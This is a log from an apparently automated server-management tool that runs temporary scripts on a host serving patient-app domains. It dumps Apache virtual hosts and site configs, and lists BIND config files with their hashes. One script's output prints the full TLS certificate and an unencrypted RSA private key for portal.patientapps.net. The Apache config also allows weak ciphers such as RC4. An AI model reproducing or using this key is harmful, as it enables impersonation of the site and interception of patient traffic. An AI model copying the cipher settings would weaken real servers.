         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:30)
                 alias store.patientapps.com
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-28 11:35:22: 

PUT: /tmp/pkp331850

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_portal_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-28 11:35:22: 

chmod 755 /tmp/pkp331850; /tmp/pkp331850; rm /tmp/pkp331850

2026-05-28 11:35:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_portal_net.conf	1664

<VirtualHost *:80>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-28 11:35:22: 

PUT: /tmp/pkp419135

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-28 11:35:22: 

chmod 755 /tmp/pkp419135; /tmp/pkp419135; rm /tmp/pkp419135

2026-05-28 11:35:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt	5394
7b:5e:4b:c8:d7:05:29:87:98:f9:35:56:b7:f3:86:19

-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBWxUCkF5ByeIBZYRqseVua+OMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTI4MTAzNjUwWhcNMjYwODI2MTAzNjQ5WjAhMR8wHQYDVQQD
ExZwb3J0YWwucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAmyX8neVaJitksf86D/rtHXYDRvQp+9o8TxnobGcthXo9+3SNjHSH
hRcUD52900U/Tesk0P7iJqJY9E0x/kZtTjY1n2HjNKAbjMlUiq3J59m2s9uq6+9L
Nu8/Xg4td5JHReeEgHQ8yb6H1FY+XugWs7XpCckp+H1qHjuxvZswNqnAz57VizuG
EaHmwtzZvOpc6U/nYeTUT5ZC1qeAcoDzNoZ4OsHmThBJ5VEbk4texCE0+lCkUsLm
V1vwSxERMDQBBJI0OgMbXNJ1EGhUnZjKtHkLFxMrlHsFUvjbNuD0ybjMWN3+BLZv
WNW1vNmUdv4pKWJ1mFs4scgNuK7ViEXchwIDAQABo4ICOzCCAjcwDgYDVR0PAQH/
BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFK0JYLKO5L4BTn7hdbgNrqo5JyqQMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wNwYDVR0RBDAwLoIUbGl2ZS5wYXRpZW50YXBwcy5uZXSC
FnBvcnRhbC5wYXRpZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xNS5jcmwwggEN
BgorBgEEAdZ5AgQCBIH+BIH7APkAdwDYCVU7lE96/8gWGW+UT4WrsPj8XodVJg8V
0S5yu0VLFAAAAZ5uXhg8AAAEAwBIMEYCIQDlFYg938wKBWEdnkYmsC2h8JR56vzd
tM/kJUZCi32yEwIhAOlxhp9pyMygvufMsdAp2FXpsBnX6UyqXpW8tuHwSosMAH4A
qCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGebl4YcQAIAAAFAAzz
VYwEAwBHMEUCIQDxfb9PiuYxdW0D+utnIfySLxj639E8LJB31l8+HAf1IgIgfgb8
/J7yLKe3SQWiH2zHN+1xQMI//r9Zv5NAgQU+dDAwDQYJKoZIhvcNAQELBQADggEB
AClTRDyCIHarmmnFGGtO0z9MSsY86QpTSZ7tnpb7gY/NpL9j8RVefBcYvWyJT7e6
oqb5jLGz1e4IoSTvqGx4pM90ySbvqgnkDD2RWFn3KCYvThhFigMeF8cH3zb1t8UT
D1FAKOlo2XRngXCP52oGt2KD+JbOOBZmvynHrq59mveURQVsOpD6MGLvjRcNkRrf
7Ga5SUZjH/JeOQV4FLJdilYBFjgE9NAqL7uPuKt4fmjQHAuTuttBaQUfxKO990/2
EYtORj0o9eKLqAdQzKigMazHQAIwGFoXI2Zzzv9mIWCI/Is+J7l3Zaf+/HI8CTI+
Njq87O0cQFejtwI1YnKyOxM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCbJfyd5VomK2Sx
/zoP+u0ddgNG9Cn72jxPGehsZy2Fej37dI2MdIeFFxQPnb3TRT9N6yTQ/uImolj0
TTH+Rm1ONjWfYeM0oBuMyVSKrcnn2baz26rr70s27z9eDi13kkdF54SAdDzJvofU
Vj5e6BaztekJySn4fWoeO7G9mzA2qcDPntWLO4YRoebC3Nm86lzpT+dh5NRPlkLW
p4BygPM2hng6weZOEEnlURuTi17EITT6UKRSwuZXW/BLEREwNAEEkjQ6Axtc0nUQ
aFSdmMq0eQsXEyuUewVS+Ns24PTJuMxY3f4Etm9Y1bW82ZR2/ikpYnWYWzixyA24
rtWIRdyHAgMBAAECggEANMIwK0lo5H3xGg5eojyEEXamGqTA+iH2TDfVL7fOZQty
tGWoFNEznHCCo+TSPlvX8Rk7Rc7G/LhMY5c0nvE4Dlak2XQiHS0s8S0tkJMUi8Ef
Pf4/G0geXanx9HwBvh2CGyVli4D7gudFrVE+mGt3/NipTGiZ2yRax7ko8f8p4AxG
NBH4vBVJvpDeCTIctlKPckXhZ3rw/FTjBu+hDr4ccE7ZLklssTctUj2poCOkDx6d
hli4TIj/XbajUWbVTIb2bHLRYFVVsAu6xQuCauZyiTu+Sk/iMWoM+7qjV02jaxkE
u3kTgITwnvIM7U7XeJqpPja1TCQutvYUxBie/HzUUQKBgQDKSTrRo9q89nD9kk7e
8VB9tGgAHwo79IcbA1OeZEIw7LIuC1kuZr+lINIK9Jl0z/CDkmzwkAcx+eJNQywo
SZAgS9ypRpXtn3YfVqaCJFlcshD9NwHnKvHXoA4Ri9AoInixc8Tbi2b/AKw7KqM2
BpYixAhtC5jMKZ8cehn4V6OJ4wKBgQDEWHyK1HJ6QsqT1x1oZks2G6Ri5FWpbwxQ
bDZoSfD6aMKykPkTfmq8aiDH6QWT0LvFRHALF/me7BM6xinkkPGiVKpyxNmR78ui
hN4cAkczkSoBuKo5BnInaBJtv+ox2HqTdQhr25C30WlTPzWxlq37loorcAxAtQrH
0feYGB90DQKBgBv6FNB5wP7xdp8bZR0gculv0hJyOJAiOa1awG3fn+f0VJBZsXPh
cg/8ghBR1Ad72t/XmImM4fHfhZT5/Vl1EyHkXBhtUr8SltuuuEi3jkRrvD3JJdI6
9kfEMy3qEFf8rISeZlOW7B/IkAl+1CPctVcJlcC/Idraxs7BdGYMeOnRAoGAVFhS
v+y9dKnmjhXVqzhuTMMZHeZKqitrFc02nhxNabTBFqZSaT5gKapJhLckTzhWwUpB
+3IEKHHvXMstyeM9+eb3BbBsalWhm6IKK+wKnCta6Txj23VaanU5nW3Y9CqzlU6s
HHFIvL43yawYq7435SDpH/nVOaLMC8S14N9T+60CgYAH7hGQjs1WBDPexdZzzVsK
DdwjvEfjFI66e0MDVkAJCgbUqP8H+V8gLMQm2vnXC8E2AAaKaV+sOwkSWAhQuCii
4HJy7URDIgPeiZBzkPg4jJ51w+Vf0u3pKyJtluMX4T7qFVWu75xqC2U73XiIU34K
7wemCVFDvI/FlJeHcbsQSQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-05-28 11:35:29: Establishing a connection
2026-05-28 11:35:29: 

PUT: /tmp/pkp714431

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-28 11:35:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp714431; rm /tmp/pkp714431'

2026-05-28 11:35:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
